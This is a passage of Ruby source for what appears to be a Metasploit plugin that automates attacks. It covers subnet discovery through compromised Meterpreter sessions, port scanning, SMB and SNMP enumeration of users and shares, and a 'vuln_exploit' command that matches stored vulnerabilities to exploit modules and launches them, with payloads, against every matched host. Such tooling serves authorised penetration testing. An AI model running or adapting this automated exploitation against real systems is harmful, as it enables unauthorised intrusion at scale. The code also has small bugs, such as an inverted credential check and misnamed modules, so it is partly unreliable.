Dir["#{path}/**/**"].reject{|f|f==archive}.each do |file|
print_line("Adding #{file} to archive")
zipfile.add(file.sub(path+'/',''),file)
end
end
print_line("All files saved to #{archive}")
end
# Method to write string to file
def file_write(file2wrt, data2wrt)
if not ::File.exists?(file2wrt)
::FileUtils.touch(file2wrt)
end
output = ::File.open(file2wrt, "a")
data2wrt.each_line do |d|
output.puts(d)
end
output.close
end
# Method to create MD5 of given file
def digestmd5(file2md5)
if not ::File.exists?(file2md5)
raise "File #{file2md5} does not exists!"
else
require 'digest/md5'
chksum = nil
chksum = Digest::MD5.hexdigest(::File.open(file2md5, "rb") { |f| f.read})
return chksum
end
end
# Method that returns a hash of projects
def project_list
project_folders = Dir::entries(::File.join(Msf::Config.log_directory,"projects"))
projects = []
framework.db.workspaces.each do |s|
if project_folders.include?(s.name)
projects << s.name
end
end
return projects
end
end
# Discovery handling commands
################################################################################################
class DiscoveryCommandDispatcher
include Msf::Ui::Console::CommandDispatcher
# Set name for command dispatcher
def name
"Discovery"
end
# Define Commands
def commands
{
"network_discover" => "Performs a port-scan and enumeration of services found for non pivot networks.",
"discover_db" => "Run discovery modules against current hosts in the database.",
"show_session_networks" => "Enumerate the networks one could pivot thru Meterpreter in the active sessions.",
"pivot_network_discover" => "Performs enumeration of networks available to a specified Meterpreter session."
}
end
def cmd_discover_db(*args)
# Variables
range = []
filter = []
smb_user = nil
smb_pass = nil
smb_dom = "WORKGROUP"
maxjobs = 30
verbose = false
# Define options
opts = Rex::Parser::Arguments.new(
"-r" => [ true, "Provide a IPRange or CIDR to run discovery module against."],
"-U" => [ true, "SMB User-name for discovery(optional)."],
"-P" => [ true, "SMB Password for discovery(optional)."],
"-D" => [ true, "SMB Domain for discovery(optional)."],
"-j" => [ true, "Max number of concurrent jobs. Default is 30"],
"-v" => [ false, "Be Verbose when running jobs."],
"-h" => [ false, "Help Message."]
)
opts.parse(args) do |opt, idx, val|
case opt
when "-r"
range = val
when "-U"
smb_user = val
when "-P"
smb_pass = val
when "-D"
smb_dom = val
when "-j"
maxjobs = val.to_i
when "-v"
verbose = true
when "-h"
print_line opts.usage
return
end
end
# generate a list of IPs to filter
Rex::Socket::RangeWalker.new(range).each do |i|
filter << i
end
#after_hosts = framework.db.workspace.hosts.find_all_by_state("alive")
framework.db.workspace.hosts.each do |h|
if filter.empty?
run_smb(h.services.find_all_by_state("open"),smb_user,smb_pass,smb_dom,maxjobs, verbose)
run_version_scans(h.services.find_all_by_state("open"),maxjobs, verbose)
else
if filter.include?(h.address)
# Run the discovery modules for the services of each host
run_smb(h.services,smb_user,smb_pass,smb_dom,maxjobs, verbose)
run_version_scans(h.services,maxjobs, verbose)
end
end
end
end
def cmd_show_session_networks(*args)
#option variables
session_list = nil
opts = Rex::Parser::Arguments.new(
"-s" => [ true, "Sessions to enumerate networks against. Example or <1,2,3,4>."],
"-h" => [ false, "Help Message."]
)
opts.parse(args) do |opt, idx, val|
case opt
when "-s"
if val =~ /all/i
session_list = framework.sessions.keys
else
session_list = val.split(",")
end
when "-h"
print_line("This command will show the networks that can be routed thru a Meterpreter session.")
print_line(opts.usage)
return
else
print_line("This command will show the networks that can be routed thru a Meterpreter session.")
print_line(opts.usage)
return
end
end
tbl = Rex::Ui::Text::Table.new(
'Columns' => [
'Network',
'Netmask',
'Session'
])
# Go thru each sessions specified
session_list.each do |si|
# check that session actually exists
if framework.sessions.keys.include?(si.to_i)
# Get session object
session = framework.sessions.get(si.to_i)
# Check that it is a Meterpreter session
if (session.type == "meterpreter")
session.net.config.each_route do |route|
# Remove multicast and loopback interfaces
next if route.subnet =~ /^(224\.|127\.)/
next if route.subnet == '0.0.0.0'
next if route.netmask == '255.255.255.255'
tbl << [route.subnet, route.netmask, si]
end
end
end
end
print_line(tbl.to_s)
end
def cmd_pivot_network_discover(*args)
#option variables
session_id = nil
port_scan = false
udp_scan = false
disc_mods = false
smb_user = nil
smb_pass = nil
smb_dom = "WORKGROUP"
verbose = false
port_lists = []
opts = Rex::Parser::Arguments.new(
"-s" => [ true, "Session to do discovery of networks and hosts."],
"-t" => [ false, "Perform TCP port scan of hosts discovered."],
"-u" => [ false, "Perform UDP scan of hosts discovered."],
"-p" => [ true, "Port list. Provide a comma separated list of port and/or ranges to TCP scan."],
"-d" => [ false, "Run Framework discovery modules against found hosts."],
"-U" => [ true, "SMB User-name for discovery(optional)."],
"-P" => [ true, "SMB Password for discovery(optional)."],
"-D" => [ true, "SMB Domain for discovery(optional)."],
"-v" => [ false, "Be verbose and show pending actions."],
"-h" => [ false, "Help Message."]
)
opts.parse(args) do |opt, idx, val|
case opt
when "-s"
session_id = val.to_i
when "-t"
port_scan = true
when "-u"
udp_scan = true
when "-d"
disc_mods = true
when "-U"
smb_user = val
when "-P"
smb_pass = val
when "-D"
smb_dom = val
when "-v"
verbose = true
when "-p"
port_lists = port_lists + Rex::Socket.portspec_crack(val)
when "-h"
print_line(opts.usage)
return
else
print_line(opts.usage)
return
end
end
if session_id.nil?
print_error("You need to specify a Session to do discovery against.")
print_line(opts.usage)
return
end
# Static UDP port list
udp_ports = [53,67,137,161,123,138,139,1434,5093,523,1604]
# Variable to hold the array of networks that we will discover
networks = []
# Switchboard instace for routing
sb = Rex::Socket::SwitchBoard.instance
if framework.sessions.keys.include?(session_id.to_i)
# Get session object
session = framework.sessions.get(session_id.to_i)
if (session.type == "meterpreter")
# Collect addresses to help determine the best method for discovery
int_addrs = []
session.net.config.interfaces.each do |i|
int_addrs = int_addrs + i.addrs
end
print_status("Identifying networks to discover")
session.net.config.each_route { |route|
# Remove multicast and loopback interfaces
next if route.subnet =~ /^(224\.|127\.)/
next if route.subnet == '0.0.0.0'
next if route.netmask == '255.255.255.255'
# Save the network in to CIDR format
networks << "#{route.subnet}/#{Rex::Socket.addr_atoc(route.netmask)}"
if port_scan || udp_scan
if not sb.route_exists?(route.subnet, route.netmask)
print_status("Routing new subnet #{route.subnet}/#{route.netmask} through session #{session.sid}")
sb.add_route(route.subnet, route.netmask, session)
end
end
}
# Run ARP Scan and Ping Sweep for each of the networks
networks.each do |n|
opt = {"RHOSTS" => n}
# Check if any of the networks is directly connected. If so use ARP Scanner
net_ips = []
Rex::Socket::RangeWalker.new(n).each {|i| net_ips << i}
if int_addrs.any? {|ip| net_ips.include?(ip) }
run_post(session_id, "windows/gather/arp_scanner", opt)
else
run_post(session_id, "multi/gather/ping_sweep", opt)
end
end
# See what hosts where discovered via the ping scan and ARP Scan
hosts_on_db = framework.db.workspace.hosts.map { |h| h.address}
if port_scan
if port_lists.length > 0
ports = port_lists
else
# Generate port list that are supported by modules in Metasploit
ports = get_tcp_port_list
end
end
networks.each do |n|
print_status("Discovering #{n} Network")
net_hosts = []
Rex::Socket::RangeWalker.new(n).each {|i| net_hosts << i}
found_ips = hosts_on_db & net_hosts
# run portscan against hosts in this network
if port_scan
found_ips.each do |t|
print_good("Running TCP Portscan against #{t}")
run_aux_module("scanner/portscan/tcp", {"RHOSTS" => t,
"PORTS"=> (ports * ","),
"THREADS" => 5,
"CONCURRENCY" => 50,
"ConnectTimeout" => 1})
jobwaiting(10,false, "scanner")
end
end
# if a udp port scan was selected lets execute it
if udp_scan
found_ips.each do |t|
print_good("Running UDP Portscan against #{t}")
run_aux_module("scanner/discovery/udp_probe", {"RHOSTS" => t,
"PORTS"=> (udp_ports * ","),
"THREADS" => 5})
jobwaiting(10,false,"scanner")
end
end
# Wait for the scanners to finish before running the discovery modules
if port_scan || udp_scan
print_status("Waiting for scans to finish")
finish_scanning = false
while not finish_scanning
::IO.select(nil, nil, nil, 2.5)
count = get_job_count
if verbose
print_status("\t#{count} scans pending")
end
if count == 0
finish_scanning = true
end
end
end
# Run discovery modules against the services that are for the hosts in the database
if disc_mods
found_ips.each do |t|
host = framework.db.find_or_create_host(:host => t)
found_services = host.services.find_all_by_state("open")
if found_services.length > 0
print_good("Running SMB discovery against #{t}")
run_smb(found_services,smb_user,smb_pass,smb_dom,10,true)
print_good("Running service discovery against #{t}")
run_version_scans(found_services,10,true)
else
print_status("No new services where found to enumerate.")
end
end
end
end
end
else
print_error("The Session specified does not exist")
end
end
# Network Discovery command
def cmd_network_discover(*args)
# Variables
scan_type = "-A"
range = ""
disc_mods = false
smb_user = nil
smb_pass = nil
smb_dom = "WORKGROUP"
maxjobs = 30
verbose = false
port_lists = []
# Define options
opts = Rex::Parser::Arguments.new(
"-r" => [ true, "IP Range to scan in CIDR format."],
"-d" => [ false, "Run Framework discovery modules against found hosts."],
"-u" => [ false, "Perform UDP Scanning. NOTE: Must be ran as root."],
"-U" => [ true, "SMB User-name for discovery(optional)."],
"-P" => [ true, "SMB Password for discovery(optional)."],
"-D" => [ true, "SMB Domain for discovery(optional)."],
"-j" => [ true, "Max number of concurrent jobs. Default is 30"],
"-p" => [ true, "Port list. Provide a comma separated list of port and/or ranges to TCP scan."],
"-v" => [ false, "Be Verbose when running jobs."],
"-h" => [ true, "Help Message."]
)
if args.length == 0
print_line opts.usage
return
end
opts.parse(args) do |opt, idx, val|
case opt
when "-r"
# Make sure no spaces are in the range definition
range = val.gsub(" ","")
when "-d"
disc_mods = true
when "-u"
scan_type = "-sU"
when "-U"
smb_user = val
when "-P"
smb_pass = val
when "-D"
smb_dom = val
when "-j"
maxjobs = val.to_i
when "-v"
verbose = true
when "-p"
port_lists = port_lists + Rex::Socket.portspec_crack(val)
when "-h"
print_line opts.usage
return
end
end
# Static UDP port list
udp_ports = [53,67,137,161,123,138,139,1434,5093,523,1604]
# Check that the ragne is a valid one
ip_list = Rex::Socket::RangeWalker.new(range)
ips_given = []
if ip_list.length == 0
print_error("The IP Range provided appears to not be valid.")
else
ip_list.each do |i|
ips_given << i
end
end
# Get the list of IP's that are routed thru a Pivot
route_ips = get_routed_ips
if port_lists.length > 0
ports = port_lists
else
# Generate port list that are supported by modules in Metasploit
ports = get_tcp_port_list
end
if (ips_given.any? {|ip| route_ips.include?(ip)})
print_error("Trying to scan thru a Pivot please use pivot_net_discovery command")
return
else
# Collect current set of hosts and services before the scan
current_hosts = framework.db.workspace.hosts.find_all_by_state("alive")
current_services = framework.db.workspace.services.find_all_by_state("open")
# Run the nmap scan, this will populate the database with the hosts and services that will be processed by the discovery modules
if scan_type =~ /-A/
cmd_str = "#{scan_type} -T4 -p #{ports * ","} --max-rtt-timeout=500ms --initial-rtt-timeout=200ms --min-rtt-timeout=200ms --open --stats-every 5s #{range}"
run_porscan(cmd_str)
else
cmd_str = "#{scan_type} -T4 -p #{udp_ports * ","} --max-rtt-timeout=500ms --initial-rtt-timeout=200ms --min-rtt-timeout=200ms --open --stats-every 5s #{range}"
run_porscan(cmd_str)
end
# Get a list of the new hosts and services after the scan and extract the new services and hosts
after_hosts = framework.db.workspace.hosts.find_all_by_state("alive")
after_services = framework.db.workspace.services.find_all_by_state("open")
new_hosts = after_hosts - current_hosts
print_good("New hosts found: #{new_hosts.count}")
new_services = after_services - current_services
print_good("New services found: #{new_services.count}")
end
if disc_mods
# Do service discovery only if new services where found
if new_services.count > 0
run_smb(new_services,smb_user,smb_pass,smb_dom,maxjobs,verbose)
run_version_scans(new_services,maxjobs,verbose)
else
print_status("No new services where found to enumerate.")
end
end
end
# Run Post Module against specified session and hash of options
def run_post(session, mod, opts)
m = framework.post.create(mod)
begin
# Check that the module is compatible with the session specified
if m.session_compatible?(session.to_i)
m.datastore['SESSION'] = session.to_i
# Process the option provided as a hash
opts.each do |o,v|
m.datastore[o] = v
end
# Validate the Options
m.options.validate(m.datastore)
# Inform what Post module is being ran
print_status("Running #{mod} against #{session}")
# Execute the Post Module
m.run_simple(
'LocalInput' => driver.input,
'LocalOutput' => driver.output
)
end
rescue
print_error("Could not run post module against sessions #{s}")
end
end
# Remove services marked as close
def cleanup()
print_status("Removing services reported as closed from the workspace...")
framework.db.workspace.services.find_all_by_state("closed").each do |s|
s.destroy
end
print_status("All services reported removed.")
end
# Get the specific count of jobs which name contains a specified text
def get_job_count(type="scanner")
job_count = 0
framework.jobs.each do |k,j|
if j.name =~ /#{type}/
job_count = job_count + 1
end
end
return job_count
end
# Wait for commands to finish
def jobwaiting(maxjobs, verbose, jtype)
while(get_job_count(jtype) >= maxjobs)
::IO.select(nil, nil, nil, 2.5)
if verbose
print_status("waiting for some modules to finish")
end
end
end
# Get a list of IP's that are routed thru a Meterpreter sessions
# Note: This one bit me hard!! in testing. Make sure that the proper module is ran against
# the proper host
def get_routed_ips
routed_ips = []
pivot = Rex::Socket::SwitchBoard.instance
unless (pivot.routes.to_s == "") || (pivot.routes.to_s == "[]")
pivot.routes.each do |r|
sn = r.subnet
nm = r.netmask
cidr = Rex::Socket.addr_atoc(nm)
pivot_ip_range = Rex::Socket::RangeWalker.new("#{sn}/#{cidr}")
pivot_ip_range.each do |i|
routed_ips << i
end
end
end
return routed_ips
end
# Method for running auxiliary modules given the module name and options in a hash
def run_aux_module(mod, opts, as_job=true)
m = framework.auxiliary.create(mod)
opts.each do |o,v|
m.datastore[o] = v
end
m.options.validate(m.datastore)
m.run_simple(
'LocalInput' => driver.input,
'LocalOutput' => driver.output,
'RunAsJob' => as_job
)
end
# Generate an up2date list of ports used by exploit modules
def get_tcp_port_list
# UDP ports
udp_ports = [53,67,137,161,123,138,139,1434]
# Ports missing by the autogen
additional_ports = [465,587,995,993,5433,50001,50002,1524, 6697, 8787, 41364, 48992, 49663, 59034]
print_status("Generating list of ports used by Auxiliary Modules")
ap = (framework.auxiliary.collect { |n,e| x=e.new; x.datastore['RPORT'].to_i}).compact
print_status("Generating list of ports used by Exploit Modules")
ep = (framework.exploits.collect { |n,e| x=e.new; x.datastore['RPORT'].to_i}).compact
# Join both list removing the duplicates
port_list = (((ap | ep) - [0,1]) - udp_ports) + additional_ports
return port_list
end
# Run Nmap scan with values provided
def run_porscan(cmd_str)
print_status("Running NMap with options #{cmd_str}")
driver.run_single("db_nmap #{cmd_str}")
return true
end
# Run SMB Enumeration modules
def run_smb(services, user, pass, dom, maxjobs, verbose)
smb_mods = [
{"mod" => "scanner/smb/smb_version", "opt" => nil},
{"mod" => "scanner/smb/smb_enumusers", "opt" => nil},
{"mod" => "scanner/smb/smb_enumshares", "opt" => nil},
]
smb_mods.each do |p|
m = framework.auxiliary.create(p["mod"])
services.each do |s|
if s.port == 445
m.datastore['RHOSTS'] = s.host.address
if not user.nil? and pass.nil?
m.datastore['SMBUser'] = user
m.datastore['SMBPass'] = pass
m.datastore['SMBDomain'] = dom
end
m.options.validate(m.datastore)
print_status("Running #{p['mod']} against #{s.host.address}")
m.run_simple(
'LocalInput' => driver.input,
'LocalOutput' => driver.output
)
end
end
jobwaiting(maxjobs,verbose,"scanner")
end
end
# Run version and discovery auxiliary modules depending on port that is open
def run_version_scans(services, maxjobs, verbose)
# Run version scan by identified services
services.each do |s|
if (s.port == 135) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address}
run_aux_module("scanner/netbios/nbname_probe",opts)
jobwaiting(maxjobs,verbose,"scanner")
elsif (s.name.to_s == "http" || s.port == 80) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/http/http_version",opts)
run_aux_module("scanner/http/robots_txt",opts)
run_aux_module("scanner/http/open_proxy",opts)
run_aux_module("scanner/http/webdav_scanner",opts)
run_aux_module("scanner/http/http_put",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
elsif (s.port == 1720) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/h323/h323_version",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
elsif (s.name.to_s =~ /http/ or s.port == 443) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true}
run_aux_module("scanner/http/http_version",opts)
run_aux_module("scanner/vmware/esx_fingerprint",opts)
run_aux_module("scanner/http/robots_txt",opts)
run_aux_module("scanner/http/open_proxy",opts)
run_aux_module("scanner/http/webdav_scanner",opts)
run_aux_module("scanner/http/http_put",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
elsif (s.name.to_s == "ftp" or s.port == 21) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/ftp/ftp_version",opts)
run_aux_module("scanner/ftp/anonymous",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
elsif (s.name.to_s == "telnet" or s.port == 23) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/telnet/telnet_version",opts)
run_aux_module("scanner/telnet/telnet_encrypt_overflow",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
elsif (s.name.to_s =~ /vmware-auth|vmauth/ or s.port == 902) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/vmware/vmauthd_version)",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
elsif (s.name.to_s == "ssh" or s.port == 22) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/ssh/ssh_version",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
elsif (s.name.to_s == "smtp" or s.port.to_s =~/25|465|587/) and s.info.to_s == ""
if s.port == 465
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true}
else
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
end
run_aux_module("scanner/smtp/smtp_version",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
elsif (s.name.to_s == "pop3" or s.port.to_s =~/110|995/) and s.info.to_s == ""
if s.port == 995
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true}
else
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
end
run_aux_module("scanner/pop3/pop3_version",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
elsif (s.name.to_s == "imap" or s.port.to_s =~/143|993/) and s.info.to_s == ""
if s.port == 993
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true}
else
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
end
run_aux_module("scanner/imap/imap_version",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
elsif (s.name.to_s == "mssql" or s.port == 1433) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/mssql/mssql_versione",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
elsif (s.name.to_s == "postgres" or s.port.to_s =~/5432|5433/) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
run_aux_module("scanner/postgres/postgres_version",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.name.to_s == "mysql" or s.port == 3306) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/mysql/mysql_version",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.name.to_s =~ /h323/ or s.port == 1720) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/h323/h323_version",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.name.to_s =~ /afp/ or s.port == 548)
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/afp/afp_server_info",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.name.to_s =~ /http/i || s.port == 443) and s.info.to_s =~ /vmware/i
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/vmware/esx_fingerprint",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.name.to_s =~ /vnc/i || s.port == 5900)
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/vnc/vnc_none_auth",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.port == 6000)
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/x11/open_x11",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.port == 1521) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
run_aux_module("scanner/oracle/tnslsnr_version",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.port == 17185) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
run_aux_module("scanner/vxworks/wdbrpc_bootline",opts)
run_aux_module("scanner/vxworks/wdbrpc_version",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.port == 50013) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
run_aux_module("scanner/vxworks/wdbrpc_bootline",opts)
run_aux_module("scanner/vxworks/wdbrpc_version",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.port.to_s =~ /50000|50001|50002/) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
run_aux_module("scanner/db2/db2_version",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.port.to_s =~ /50013/) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
run_aux_module("scanner/sap/sap_mgmt_con_getaccesspoints",opts)
run_aux_module("scanner/sap/sap_mgmt_con_extractusers",opts)
run_aux_module("scanner/sap/sap_mgmt_con_abaplog",opts)
run_aux_module("scanner/sap/sap_mgmt_con_getenv",opts)
run_aux_module("scanner/sap/sap_mgmt_con_getlogfiles",opts)
run_aux_module("scanner/sap/sap_mgmt_con_getprocessparameter",opts)
run_aux_module("scanner/sap/sap_mgmt_con_instanceproperties",opts)
run_aux_module("scanner/sap/sap_mgmt_con_listlogfiles",opts)
run_aux_module("scanner/sap/sap_mgmt_con_startprofile",opts)
run_aux_module("scanner/sap/sap_mgmt_con_version",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.port == 8080) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
run_aux_module("scanner/http/sap_businessobjects_version_enum",opts)
run_aux_module("scanner/http/open_proxy",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.port == 161 and s.proto == "udp") || (s.name.to_s =~/snmp/)
opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
run_aux_module("scanner/snmp/snmp_login",opts)
jobwaiting(maxjobs,verbose, "scanner")
if s.creds.length > 0
s.creds.each do |c|
opts = {
'RHOSTS' => s.host.address,
'RPORT' => s.port,
'VERSION' => "1",
'COMMUNITY' => c.pass
}
run_aux_module("scanner/snmp/snmp_enum",opts)
jobwaiting(maxjobs,verbose,"scanner")
opts = {
'RHOSTS' => s.host.address,
'RPORT' => s.port,
'VERSION' => "2c",
'COMMUNITY' => c.pass
}
run_aux_module("scanner/snmp/snmp_enum",opts)
jobwaiting(maxjobs,verbose,"scanner")
if s.host.os_name =~ /windows/i
opts = {
'RHOSTS' => s.host.address,
'RPORT' => s.port,
'VERSION' => "1",
'COMMUNITY' => c.pass
}
run_aux_module("scanner/snmp/snmp_enumusers",opts)
jobwaiting(maxjobs,verbose,"scanner")
opts = {
'RHOSTS' => s.host.address,
'RPORT' => s.port,
'VERSION' => "2c",
'COMMUNITY' => c.pass
}
run_aux_module("scanner/snmp/snmp_enumusers",opts)
jobwaiting(maxjobs,verbose,"scanner")
opts = {
'RHOSTS' => s.host.address,
'RPORT' => s.port,
'VERSION' => "1",
'COMMUNITY' => c.pass
}
run_aux_module("scanner/snmp/snmp_enumshares",opts)
jobwaiting(maxjobs,verbose,"scanner")
opts = {
'RHOSTS' => s.host.address,
'RPORT' => s.port,
'VERSION' => "2c",
'COMMUNITY' => c.pass
}
run_aux_module("scanner/snmp/snmp_enumshares",opts)
jobwaiting(maxjobs,verbose,"scanner")
else
opts = {
'RHOSTS' => s.host.address,
'RPORT' => s.port,
'VERSION' => "1",
'COMMUNITY' => c.pass
}
run_aux_module("scanner/snmp/xerox_workcentre_enumusers",opts)
jobwaiting(maxjobs,verbose,"scanner")
opts = {
'RHOSTS' => s.host.address,
'RPORT' => s.port,
'VERSION' => "2c",
'COMMUNITY' => c.pass
}
run_aux_module("scanner/snmp/xerox_workcentre_enumusers",opts)
jobwaiting(maxjobs,verbose,"scanner")
opts = {
'RHOSTS' => s.host.address,
'RPORT' => s.port,
'VERSION' => "1",
'COMMUNITY' => c.pass
}
run_aux_module("scanner/snmp/aix_version",opts)
jobwaiting(maxjobs,verbose,"scanner")
opts = {
'RHOSTS' => s.host.address,
'RPORT' => s.port,
'VERSION' => "2c",
'COMMUNITY' => c.pass
}
run_aux_module("scanner/snmp/aix_version",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
end
end
end
end
end
end
end
# Exploit handling commands
################################################################################################
class AutoExploit
include Msf::Ui::Console::CommandDispatcher
# Set name for command dispatcher
def name
"auto_exploit"
end
# Define Commands
def commands
{
"vuln_exploit" => "Runs exploits based on data imported from vuln scanners.",
"show_client_side" => "Show matched client side exploits from data imported from vuln scanners."
}
end
# vuln exploit command
def cmd_vuln_exploit(*args)
require 'timeout'
# Define options
opts = Rex::Parser::Arguments.new(
"-f" => [ true, "Provide a comma separated list of IP's and Ranges to skip when running exploits."],
"-r" => [ true, "Minimum Rank for exploits (low, average,normal,good,great and excellent) good is the default."],
"-m" => [ false, "Only show matched exploits."],
"-s" => [ false, "Do not limit number of sessions to one per target."],
"-j" => [ true, "Max number of concurrent jobs, 3 is the default."],
"-h" => [ false, "Command Help"]
)
# set variables for options
os_type = ""
filter = []
range = []
limit_sessions = true
matched_exploits = []
min_rank = 100
show_matched = false
maxjobs = 3
ranks ={
"low" => 100,
"average" => 200,
"normal" => 300 ,
"good" => 400,
"great" => 500,
"excellent" => 600
}
# Parse options
opts.parse(args) do |opt, idx, val|
case opt
when "-f"
range = val.gsub(" ","").split(",")
when "-r"
if ranks.include?(val)
min_rank = ranks[val]
else
print_error("Value of #{val} not in list using default of good.")
end
when "-s"
limit_sessions = false
when "-m"
show_matched = true
when "-j"
maxjobs = val.to_i
when "-h"
print_line(opts.usage)
return
end
end
# Make sure that there are vulnerabilities in the table before doing anything else
if framework.db.workspace.vulns.length == 0
print_error("No vulnerabilities are present in the database.")
return
end
# generate a list of IP's to not exploit
range.each do |r|
Rex::Socket::RangeWalker.new(r).each do |i|
filter << i
end
end
exploits =[]
print_status("Generating List for Matching...")
framework.exploits.each_module do |n,e|
exploit = {}
x=e.new
if x.datastore.include?('RPORT')
exploit = {
:exploit => x.fullname,
:port => x.datastore['RPORT'],
:platforms => x.platform.names.join(" "),
:date => x.disclosure_date,
:references => x.references,
:rank => x.rank
}
exploits << exploit
end
end
print_status("Matching Exploits (This will take a while depending on number of hosts)...")
framework.db.workspace.hosts.each do |h|
# Check that host has vulnerabilities associated in the DB
if h.vulns.length > 0
os_type = normalise_os(h.os_name)
#payload = chose_pay(h.os_name)
exploits.each do |e|
found = false
next if not e[:rank] >= min_rank
if e[:platforms].downcase =~ /#{os_type}/ or e[:platforms].downcase == "" or e[:platforms].downcase =~ /php/i
# lets get the proper references
e_refs = parse_references(e[:references])
h.vulns.each do |v|
v.refs.each do |f|
# Filter out Nessus notes
next if f.name =~ /^NSS|^CWE/
if e_refs.include?(f.name) and not found
# Skip those hosts that are filtered
next if filter.include?(h.address)
# Save exploits in manner easy to retrieve later
exploit = {
:exploit => e[:exploit],
:port => e[:port],
:target => h.address,
:rank => e[:rank]
}
matched_exploits << exploit
found = true
end
end
end
end
end
end
end
if matched_exploits.length > 0
# Sort by rank with highest ranked exploits first
matched_exploits.sort! { |x, y| y[:rank] <=> x[:rank] }
print_good("Matched Exploits:")
matched_exploits.each do |e|
print_good("\t#{e[:target]} #{e[:exploit]} #{e[:port]} #{e[:rank]}")
end
# Only show matched records if user only wanted if selected.
return if show_matched
# Track LPORTs used
known_lports = []
# Make sure that existing jobs do not affect the limit
current_jobs = framework.jobs.keys.length
maxjobs = current_jobs + maxjobs
# Start launching exploits that matched sorted by best ranking first
print_status("Running Exploits:")
matched_exploits.each do |e|
# Select a random port for LPORT
port_list = (1024..65000).to_a.shuffle.first
port_list = (1024..65000).to_a.shuffle.first if known_lports.include?(port_list)
# Check if we are limiting one session per target and enforce
if limit_sessions and get_current_sessions.include?(e[:target])
print_good("\tSkipping #{e[:target]} #{e[:exploit]} because a session already exists.")
next
end
# Configure and launch the exploit
begin
ex = framework.modules.create(e[:exploit])
# Choose a payload depending on the best match for the specific exploit
ex = chose_pay(ex, e[:target])
ex.datastore['RHOST'] = e[:target]
ex.datastore['RPORT'] = e[:port].to_i
ex.datastore['LPORT'] = port_list
ex.datastore['VERBOSE'] = true
(ex.options.validate(ex.datastore))
print_status("Running #{e[:exploit]} against #{e[:target]}")
# Provide 20 seconds for a exploit to timeout
Timeout::timeout(20) do
ex.exploit_simple(
'Payload' => ex.datastore['PAYLOAD'],
'LocalInput' => driver.input,
'LocalOutput' => driver.output,
'RunAsJob' => true
)
end
rescue Timeout::Error
print_error("Exploit #{e[:exploit]} against #{e[:target]} timed out")
end
jobwaiting(maxjobs)
end
else
print_error("No Exploits where Matched.")
return
end
end
# Show client side exploits
def cmd_show_client_side(*args)
# Define options
opts = Rex::Parser::Arguments.new(
"-r" => [ true, "Minimum Rank for exploits (low, average,normal,good,great and excellent) good is the default."],
"-h" => [ false, "Command Help"]
)
# set variables for options
os_type = ""
matched_exploits = []
min_rank = 100
ranks ={
"low" => 100,
"average" => 200,
"normal" => 300 ,
"good" => 400,
"great" => 500,
"excellent" => 600
}
# Parse options
opts.parse(args) do |opt, idx, val|
case opt
when "-r"
if ranks.include?(val)
min_rank = ranks[val]
else
